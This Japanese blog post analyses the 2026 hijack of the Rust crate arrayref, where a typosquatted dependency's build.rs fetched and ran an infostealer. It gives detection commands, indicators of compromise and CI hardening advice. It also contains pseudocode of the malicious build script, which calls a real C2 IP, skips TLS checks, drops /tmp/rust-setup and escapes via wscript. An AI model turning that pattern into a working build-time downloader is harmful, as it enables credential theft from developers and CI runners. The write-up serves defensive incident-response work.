7
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

cargo buildした瞬間に負ける ― arrayref乗っ取り事件と、日本のCI/CDが今すぐやるべきこと

7
Last updated at Posted at 2026-08-21

この記事の要点

2026年8月20日、Rustの超定番クレート arrayref(累計約2億4600万ダウンロード)の作者アカウントが乗っ取られ、悪意ある 0.3.10 が公開された。攻撃の本体はマクロでもランタイムのコードでもなく、依存関係の build.rs =ビルドスクリプトに仕込まれていた。cargo build した瞬間、開発者やCIランナーの権限で外部バイナリがダウンロードされ実行される。

この記事では単なる翻訳ではなく、日本のエンジニアが自分たちのCI/CDと開発環境をどう守るかという視点で、攻撃の仕組みと具体的な防御策を再構成する。結論を先に言うと、本丸はあなたの手元のPCではなく、クラウド認証情報と署名鍵を握ったビルドランナーだ。

なお最初に断っておくと、Rust Security Response Teamは 「実際に使用された形跡は確認されていない(no evidence of actual usage)」 としている。被害が広範囲に出た事件ではない。それでも取り上げる価値があるのは、成立していたら何が起きていたかが極めて明確だからだ。


1. なぜ今これが重要なのか

npmの event-stream、PyPIの ctx、そして2022年にはRust自身も rustdecimal という偽クレート事件を経験している。パッケージ供給網(サプライチェーン)攻撃はもう珍しい話ではない。それでも今回のarrayref事件を取り上げる理由は3つある。

①標的が「一級の基盤クレート」だった

無名の偽物ではない。arrayrefはスライスから固定長配列への参照を取り出すマクロを提供する小さなクレートで、tiny-skiasctk-adwaitawinit を経由して、egui、eframe、icedといったGUIフレームワークのほぼ下に敷かれている。つまり自分のCargo.tomlに書いた覚えがなくても巻き込まれる構図だった。

しかもこのクレートは、10年間ゼロ依存・build.rsなしを貫いてきた。0.3.10で追加された proc-macro1 は、arrayref史上はじめての依存だった。

②発火する場所がビルド時だった

日本の現場では「レビューでソースを読めば安全」「使っていない依存は関係ない」という感覚がまだ根強い。今回の事件はその前提を正面から否定する。詳しくは3章で扱う。

③日本企業のCI/CDが置かれている状況

IPAの「情報セキュリティ10大脅威 2026」では、「サプライチェーンや委託先を狙った攻撃」が組織向け2位(8年連続8回目) に位置づけられている。GitHub ActionsやGitLab Runner、self-hostedランナーは、クラウドのデプロイ権限やコンテナレジストリの認証情報を持たされていることが多い。ここでビルド時コード実行を許すと、被害は一台のPCでは終わらない。


2. 何が起きたのか ― 一次ソースから時系列を整理

Rust Security Response Teamの公式報告、RustSecアドバイザリDB、SafeDepの技術解析を突き合わせると、次のように整理できる。

タイムライン

時刻(UTC) 出来事
2026-08-20 07:15:00 arrayref@0.3.10 公開
07:15:24〜07:15:40 正規の 0.3.50.3.9 を連続してyank
07:15 Rust Security Response Teamが proc-macro1 に関する通報を受領
07:34:07 internment@0.8.7 公開
07:37:49 append-only-vec@0.1.9 公開
08:41:40 arrayref@0.3.10 削除(公開から86分
09:04:11 internment@0.8.7 削除(90分
09:15〜09:17 crates.ioチームが 0.3.50.3.9 をunyank
09:25:24 append-only-vec@0.1.9 削除(107分

公式ブログの「7:15 UTCに通報を受けた」という記述と、arrayref@0.3.10 の公開時刻は偶然ほぼ同一(07:15:00.821Z)。読み違えやすいので注意。

攻撃の構成

  • 悪性版3クレートは、いずれも新規の偽クレート proc-macro1 に依存するよう書き換えられていた。名前は正規の proc-macro2 に酷似したタイポスクワット(typosquatting、綴り違いの偽装)で、マルウェア本体はこの proc-macro1build.rs に入っていた。
  • 同一キャンペーンとみられる関連クレートとして proc-macro-enaovinearonearonenaotinymember も削除されている。
  • 攻撃者は事前に dtolney というアカウントをGitHubとcrates.ioの両方に用意していた。proc-macro2 の作者 David Tolnay の dtolnay を1文字だけ変えた名前だ。proc-macro1 のCargo.tomlは作者名とリポジトリURLも偽装している。
  • proc-macro11.0.106(無害なステージング)→ 1.0.107(ペイロード入り)の2段構え。準備された作戦だったことがうかがえる。
  • proc-macro-endaveroundy 名義で、arrayref作者の droundy を騙るもの。キャンペーンがまだ拡大途中だった兆候といえる。

Rustチームは作者本人が加担したとは考えていないと明言し、端末または認証情報の侵害と評価している。つまりこれは「悪い開発者」の問題ではなく、正規の信頼された配布経路が乗っ取られた場合に何が起きるかという事件だ。

なお現在、github.com/droundy アカウントごと404になっており、上流のソースを直接参照して差分を追うことはできない。

yankを使った社会工学

見落としてはいけないのが、攻撃者が正規の旧版をyankした点だ。crates.ioでは、yankされたバージョンは新規の依存解決で選ばれなくなり、Cargoは「yankされていないバージョンへの更新を検討せよ」という警告を出す。結果として 0.3.10 だけが「取り下げられていない唯一のバージョン」になり、素直に更新するほど悪性版に吸い寄せられる導線が作られていた。

バージョンを上げること自体が罠になり得るという、地味だが厄介な発想だ。この点は後述する防御策にも効いてくる。


3. 技術的な核心 ―「build.rsは実行される」という事実

なぜマクロではなくビルドスクリプトなのか

偽クレートの名前が proc-macro1 だったため、手続きマクロ(proc-macro)が悪用されたと誤解しやすい。だが実際の発火点は build.rs だ。ここがこの事件のいちばん重要な学びなので、Cargoの挙動から丁寧に押さえておきたい。

Cargoはクレートのルートに build.rs があると、本体のコンパイルより先にそれをコンパイルして実行する。目的は本来、Cのライブラリをリンクしたりコード生成をしたりするためのものだ。しかしその実体は、あなたのユーザー権限で走る普通のRustプログラムにすぎない。ネットワークにもファイルシステムにもアクセスできる。

さらに重要なのが、Cargoは宣言されたoptionalでない依存を、実際にコードから使うかどうかに関係なくすべてビルドするという点だ。今回、arrayref 0.3.10 のマニフェストに追加されたのはたった数行である。

# arrayref-0.3.10/Cargo.toml
[package]
name = "arrayref"
version = "0.3.10"
build = false

[dependencies.proc-macro1]
version = "1.0.107"

src/lib.rs は正規版のまま、proc-macro1 を参照する箇所は一行もない。それでも build.rs は必ず実行される。「使っていない依存だから無害」は完全な誤りだった。

ちなみに proc-macro1src/ は本物の proc-macro2 を機械的にリネームしただけのコピーなので、ビルドは正常に通り、コンパイルエラーで気づくこともない。

何をしていたのか

概念を単純化すると、仕込まれていたビルドスクリプトはこういう骨格をしていた(実物の再現ではなく、防御を考えるための擬似コード)。

// build.rs (悪性クレート proc-macro1 の概念図)
// 実際のマルウェアではなく、パターンを理解するための単純化例
fn main() {
    // C2アドレスはbase64断片からコンパイル時に組み立てて静的検知を回避
    let host = decode_fragments(&["Mj...", "MTY1..."]); // 23.254.165.112

    // 証明書検証を無効化したTLSクライアントで外部からバイナリを取得
    let payload = http_get_insecure(&format!("https://{host}:9089/"),
                                    os_name(), arch_name());

    // OSごとに実行方法を切り替える
    if cfg!(unix) {
        write_file("/tmp/rust-setup", &payload);
        chmod_exec("/tmp/rust-setup");
        spawn_detached("/tmp/rust-setup", &[&format!("{host}:443")]);
    } else {
        // Windowsはwscript.exe経由のVBSでCargoのjobオブジェクトから脱出し
        // ビルド終了後も生き残る
        write_file("%TEMP%/rust-setup.ps1", &payload);
        write_file("%TEMP%/rust-setup-launch.vbs", &launcher());
        spawn("wscript.exe", &["%TEMP%/rust-setup-launch.vbs"]);
    }
}

ポイントは4つ。

  1. C2(指令サーバー)のアドレスをbase64断片からコンパイル時に組み立て、ソース上に生のIPを残さず静的解析をかわしていること。
  2. TLSクライアントが任意の証明書を受け入れる設定で、生IP上の自己署名サーバーと平然と通信すること。
  3. Windowsでは wscript.exe とVBScriptを噛ませてCargoのjobオブジェクトから抜け出し、ビルドが終わってもプロセスを生かし続ける工夫がされていたこと。ソース中のコメントで攻撃者自身がその意図を書いている。
  4. build-dependenciesbase64 / rustls / ureq が並んでいたこと。トークン解析ライブラリがビルド時にHTTPクライアントとTLSスタックを必要とする理由はない。依存の顔ぶれ自体が明確な異常信号だった。

対応プラットフォームはLinux x86_64、Windows x86_64、macOS x86_64およびARM64。それ以外ではビルドを panic! させる。

そして落としてきたペイロードの目的は、Chrome / Brave / Edge に保存された認証情報とセッションデータの窃取だった。いわゆるインフォスティーラーである。

これはRust固有の話ではない

ここで強調したいのは、build.rs が特別に危険なわけではないという点だ。npmの postinstall スクリプト、Pythonの setup.py、RubyGemsのextconf、いずれも「パッケージを入れる、あるいはビルドする」という行為が任意コード実行を伴う。エコシステムが違っても構造はまったく同じで、依存を取得しビルドする瞬間に、他人の書いたコードが自分の権限で走る。

ただしRustには一点、押さえておくべき構造的な弱みがある。Cargoには npm install --ignore-scripts に相当する汎用スイッチが存在しない。build.rsのサンドボックス化は2018年から議論が続く未解決課題で、links キーを宣言したクレートのビルドスクリプトを設定で上書きする、という狭い抜け道しかない。

言い換えると、git clone して cargo build を打つことは、そのリポジトリの依存ツリー全体のメンテナに対してシェルを開けているのに近い。今回の事件はこの当たり前を、2億回以上ダウンロードされたクレートで思い出させた。


4. 日本の実務への示唆 ― 本丸はCIランナーである

開発者PCよりビルドサーバーが危ない

被害を「開発者のノートPCがマルウェアに感染」で止めて考えるのは危険だ。今回の攻撃はビルド時に発火する。ということは、最も頻繁かつ自動的にビルドを回している場所、すなわちCI/CDランナーが最大の攻撃面になる。

日本のよくある構成を思い浮かべてほしい。GitHub Actionsのself-hostedランナーやGitLab Runnerが、デプロイ用のクラウドIAMロール、コンテナレジストリのプッシュ権限、パッケージ署名鍵、社内ネットワークへの到達性を持っている。ここでビルド時RCE(遠隔コード実行)が成立すれば、攻撃者が得るのは一台のマシンではなく、本番環境への鍵束だ。

今回のペイロードはブラウザ資格情報狙いだったが、同じ発火点を握られた場合にCIランナーから何が抜けるかは、想像に難くない。第10回で扱ったトークン転売の記事でもegress(外向き通信)監視の重要性に触れたが、今回もまさに、ビルドランナーからの素性不明な外向き通信をどう止めるかが分かれ目になる。

まず自分が踏んでいないか調べる

Rustチームの推奨コマンドをそのまま使うのが確実。同一作者の3クレートすべてを対象にする。

# 悪性版のキャッシュが残っていないか確認(Rust公式ブログ掲載のコマンド)
find ~/.cargo/registry/cache -type f \( \
  -name 'append-only-vec-0.1.9.crate' -o \
  -name 'arrayref-0.3.10.crate' -o \
  -name 'internment-0.8.7.crate' -o \
  -name 'proc-macro1-*.crate' -o \
  -name 'proc-macro-en-*.crate' -o \
  -name 'aovine-*.crate' -o \
  -name 'arone-*.crate' -o \
  -name 'aronenao-*.crate' -o \
  -name 'tinymember-*.crate' \
\) -print

あわせてIoC(侵害指標)も確認する。

# 通信ログにC2が出ていないか
grep -R "23.254.165.112" /var/log 2>/dev/null

# Unix系の痕跡
ls -la /tmp/rust-setup 2>/dev/null

Windowsであれば %TEMP%\rust-setup.ps1%TEMP%\rust-setup-launch.vbs の有無、および 23.254.165.112 への通信履歴を確認する。

IoC一覧

種別 指標
通信 23.254.165.112:9089(ペイロード配布、HTTPS)
通信 23.254.165.112:443(C2、ペイロードの第1引数)
ファイル(Unix) /tmp/rust-setup
ファイル(Win) %TEMP%\rust-setup.ps1
ファイル(Win) %TEMP%\rust-setup-launch.vbs
二段目の名称 rust-crate_0.1.0_0.4.0(OS/アーキ別)

検体のSHA256

対象 SHA256
arrayref 0.3.10 25ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae
proc-macro1 1.0.107 61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4
proc-macro1 1.0.106 b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436

恒久対策 ― 4つの層で守る

一度の駆除で終わらせず、次のビルドも守れる仕組みにする。ここで大事なのは、予防に効く層と、検知にしか効かない層を混同しないことだ。

第一層:依存を固定する(予防)

CIでは Cargo.lock をコミットし、勝手なバージョン解決を禁じる。

cargo build --locked

--locked はCargo.lockの変更を許さないオプション。--frozen--locked + --offline の合成なので、事前にvendoringしていない環境で --frozen を指定するとネットワーク取得ができず失敗する。vendoring前提でないなら --locked だけを使うのが素直。

今回のようにyankで最新版へ誘導する手口に対しては、この層がいちばん効く。ロックファイルが固定されていれば、cargo update を明示的に叩かない限り 0.3.10 に触れることはなかった。

第二層:ビルドスクリプトの存在自体を管理する(予防)

今回の文脈で本当に効くのはここだ。cargo-denyの [bans.build] を使うと、build.rsを持つクレートを許可制にできる。

# deny.toml の例
[bans.build]
allow-build-scripts = []      # build.rsを持つクレートを原則禁止(許可制にする)
executables = "deny"          # 同梱ネイティブ実行ファイルを拒否
interpreted = "deny"          # 同梱スクリプトを拒否

[sources]
unknown-registry = "deny"     # crates.io以外の出所を禁止

arrayrefは10年間build.rsなしだった。「ある日突然 build.rs が生えた依存」という変化を検出できたのは、事前シグナルとしてこれだけだった。許可制の運用は最初こそ面倒だが、許可リストが一度固まればほとんどの変更はノイズにならない。

なお [sources] の設定は良い習慣だが、今回の攻撃はcrates.ioの正規経路を通っているのでこれ単体では防げない。念のため区別しておく。

cargo-denyの公式ドキュメントは「積極的に悪意のあるコードからは保護しない」と明記している。万能ではない。あくまで「異常な形をした依存に気づくための道具」として使う。

第三層:既知の悪性依存を機械的に弾く(検知)

cargo-audit でRustSecアドバイザリDBと突合し、cargo-deny[bans] で名前ベースのブロックを宣言する。

[bans]
deny = [
  { crate = "proc-macro1", reason = "RUSTSEC-2026-0260 / 悪性タイポスクワット" },
  { crate = "proc-macro-en", reason = "同一キャンペーン" },
]

ここで正直に書いておくと、これは事後対応であって予防ではない。名前を書けるのは事件が公表されたあとだし、RUSTSEC-2026-0260の公開も削除の後だ。名前ベースのブロックリストを「対策済み」と勘違いしないこと。

[advisories] yanked = "deny" を今回の対策として推奨する記事を見かけるが、今回に限っては逆効果になり得る。悪性の 0.3.10 はyankではなく削除されており、yankされていたのは正規の 0.3.50.3.9 のほうだった。この設定を入れていれば、安全な旧版が弾かれ、唯一残る悪性版に押し出されていた可能性がある。設定そのものは平時には有用だが、今回の手口には効かない。

より踏み込むなら cargo-vet で、監査済みの依存だけをビルドに通すレビュー体制を敷ける。組織で監査結果を共有できるのが強みだ。

第四層:ビルド環境のネットワークと権限を絞る(予防・最重要)

build.rs のペイロードは外部からバイナリを取りに行けなければ成立しない

  • CIランナーからの外向き通信を、パッケージレジストリなど必要な宛先だけの許可リスト(allowlist)にする。
  • 少なくとも見慣れないIPやポート9089のような不審な宛先への通信は遮断し、ログに残す。
  • 依存を事前にvendoringしておけば --offline でビルドできる。**「ビルド中にネットワークが必要なのは依存の取得だけで、build.rs が外部通信する必要はほぼない」**という前提を運用に落とし込む。

そのうえで、ビルドの実行環境そのものを隔離する。使い捨てのエフェメラルなコンテナやマイクロVMでビルドし、認証情報は最小権限かつ短命なトークンに限定する。署名鍵のような長命の機密は、ビルドと同じプロセス空間に置かない。万一発火しても、盗めるものと横移動できる範囲を最初から小さくしておく。

エコシステム側の動き

Cargo本体でも、最低公開経過日数(min-publish-age)の議論が進んでいる(RFC 3923 / cargo PR #17335)。「公開からN日経っていないバージョンは自動では選ばない」という仕組みで、npmには同種の機能がすでにある。今回のように86分で消えたバージョンには、これが効く。安定化を待つ価値のある機能だ。


5. まとめ ― 明日から着手できる順に

今回のarrayref事件が突きつけたのは、シンプルだが忘れがちな事実だ。依存を取得しビルドする行為そのものが、他人のコードを自分の権限で実行する行為である。この一点を組織の常識にできるかどうかが、次の供給網攻撃で被害を分ける。

  • 手元とCIのキャッシュに arrayref 0.3.10 / internment 0.8.7 / append-only-vec 0.1.9 / proc-macro1 が落ちていないか、上のコマンドで確認する
  • Cargo.lock を必ずコミットし、CIのビルドを --locked にする
  • cargo-deny[bans.build] allow-build-scripts でビルドスクリプトを許可制にする
  • cargo-audit をCIに組み込む(予防ではなく検知として)
  • ビルドランナーの外向き通信をallowlist化し、不審な宛先を遮断してログ化する
  • ビルドをエフェメラルな環境に隔離し、渡す認証情報を短命・最小権限にする
  • これはRustだけの話ではないと社内に共有する。npm、pip、gemでも同じ対策を横展開する

パッケージ管理はもはや「便利な自動化」ではなく「信頼の委譲」だ。誰に、どこまで、どの権限で委ねているのかを、ビルドが走るその瞬間まで含めて見直したい。


参考ソース

ダウンロード数は2026年8月21日時点のcrates.io API値(245,777,808)に基づく。

7
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
7
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?